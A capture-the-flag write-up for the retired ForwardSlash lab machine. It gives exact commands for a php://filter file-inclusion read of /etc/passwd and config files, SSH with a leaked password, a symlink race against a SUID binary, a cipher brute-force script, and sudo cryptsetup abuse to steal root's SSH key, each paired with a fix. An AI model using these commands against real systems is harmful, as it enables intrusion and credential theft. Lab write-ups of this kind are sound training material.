ForwardSlash
Summary
Target forwardslash.htb ($TARGET) was fully compromised from an unauthenticated position on port 80. Virtual-host enumeration revealed a self-registration backup portal whose profile-picture form, though visually disabled in the browser, accepted a Local File Inclusion parameter server-side, allowing arbitrary PHP source and configuration-file reads via a php://filter wrapper.
Those reads disclosed the plaintext SSH password for OS user chiv. Once on the box, a SUID binary owned by the user pain read files whose names matched the MD5 hash of the current clock second; a symlink-timing race exploited this to read pain's encrypted secret and related config files.
The ciphertext, decrypted by reversing the custom stream cipher and brute-forcing its key, yielded the LUKS passphrase for a backup disk image. Pain held NOPASSWD sudo rights for cryptsetup and mount; unlocking the image exposed root's unprotected RSA private key, giving immediate root SSH access.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<pain_password_from_race>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 2
Add both vhosts to local DNS resolution.
$ echo "$TARGET forwardslash.htb backup.forwardslash.htb" | sudo tee -a /etc/hostsFuzz for additional vhosts; -fc filters the redirect the main site returns for unknown hosts.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.forwardslash.htb' -fc 302,301,404FixRestrict non-production virtual hosts to internal networksMedium
Exact commands 3
Register my own account.
$ curl -s -c /tmp/cookies.txt -d "username=pwn123&password=$PASSWORD4&confirm_password=$PASSWORD4" http://backup.forwardslash.htb/register.phpLog in and capture the session cookie.
$ curl -s -b /tmp/cookies.txt -c /tmp/cookies.txt -d "username=pwn123&password=$PASSWORD4" http://backup.forwardslash.htb/login.phpConfirm LFI by reading /etc/passwd; substitute any target path for the resource= value.
$ curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/etc/passwd' http://backup.forwardslash.htb/profilepicture.php | base64 -dFixEnforce server-side input validation for all URL and file-path parametersCritical
Exact commands 3
Read the Apache vhost config to locate the document root and any internal-only endpoints.
$ curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/backup.forwardslash.htb.conf' http://backup.forwardslash.htb/profilepicture.php | base64 -dRead config.php to extract the plaintext credential for chiv.
$ curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/config.php' http://backup.forwardslash.htb/profilepicture.php | base64 -dRead the local-only /dev/index.php to confirm the blind XXE parser and map the full attack surface.
$ curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php' http://backup.forwardslash.htb/profilepicture.php | base64 -dFixRemove plaintext OS credentials from web application source and configuration filesCritical
Exact commands 2
Log in as chiv using the config-disclosed password.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null chiv@$TARGETConfirm identity, list home directories, and enumerate SUID binaries for next steps.
$ id; hostname; ls -la /home/; find / -perm -4000 2>/dev/null | grep -v '^/proc'
uid=1000(chiv) gid=1000(chiv)Exact commands 3
Create a working directory writable by chiv.
$ mkdir -p /tmp/r && cd /tmp/rRace loop: compute the current-second MD5, place symlink, fire the SUID binary. Repeat until it hits the correct second.
$ for i in $(seq 1 90); do h=$(printf '%s' "$(date +%H:%M:%S)" | md5sum | cut -d' ' -f1); ln -sf /home/pain/user.txt "$h" 2>/dev/null; /usr/bin/backup 2>/dev/null && break; rm -f "$h"; sleep 0.4; doneRe-run the race pointing the symlink at pain's ciphertext to retrieve the encrypted secret.
$ for i in $(seq 1 90); do h=$(printf '%s' "$(date +%H:%M:%S)" | md5sum | cut -d' ' -f1); ln -sf /home/pain/encryptorinator/ciphertext "$h" 2>/dev/null; /usr/bin/backup 2>/dev/null; rm -f "$h"; sleep 0.4; doneFixRemove the SUID bit from the time-based file-reader binaryHigh
Exact commands 2
Reverse the chained cipher and brute-force the key against rockyou; prints lines containing 'key' or 'recovery'.
$ python3 - <<'PYEOF'
import sys
with open('/tmp/ciphertext','rb') as f:
ct = f.read()[:164]
wl = open('/usr/share/wordlists/rockyou.txt','rb')
for line in wl:
key = line.strip()
if not key: continue
prev = ct[-1]; out = []
for i, c in enumerate(ct):
k = key[i % len(key)]
p = (c - k - prev) % 256
out.append(p); prev = c
try:
s = bytes(out).decode('latin-1')
if 'key' in s.lower() or 'recovery' in s.lower():
print(key.decode(), repr(s))
except: pass
PYEOFUse expect to handle the su TTY password prompt; replace <pain_password_from_race> with the credential recovered via the SUID race.
$ cat > /tmp/su_pain.exp <<EOF
#!/usr/bin/expect -f
set timeout 30
spawn sshpass -p {$PASSWORD3} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null chiv@$TARGET
expect "\$ "
send "su pain\r"
expect "Password:"
send "<pain_password_from_race>\r"
expect "\$ "
send "id\r"
expect "\$ "
EOF
expect /tmp/su_pain.expFixReplace the custom stream cipher with a standard authenticated encryption libraryHigh
Exact commands 4
Run as pain to confirm NOPASSWD entries for cryptsetup, mount, and umount.
$ sudo -lUnlock the LUKS image; enter passphrase when prompted.
$ sudo cryptsetup luksOpen /var/backups/recovery recoveryMount the unlocked volume and list contents to locate root's key material.
$ sudo mount /dev/mapper/recovery /mnt && ls -la /mnt/Read root's RSA private key; copy the full PEM block including headers to your attack machine.
$ cat /mnt/id_rsaFixRequire authentication for sudo cryptsetup and mount, and narrow the scope of sudo rulesCritical
Exact commands 3
Paste the PEM key block, then Ctrl-D; sets correct 600 permissions in one step.
$ install -m 600 /dev/stdin /tmp/root_id_rsaAuthenticate as root using the stolen key; no passphrase prompt will appear.
$ ssh -i /tmp/root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGETRead the root flag: <root.txt>
$ cat /root/root.txtFixProtect root's SSH private key with a passphrase and restrict key storage locationsHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.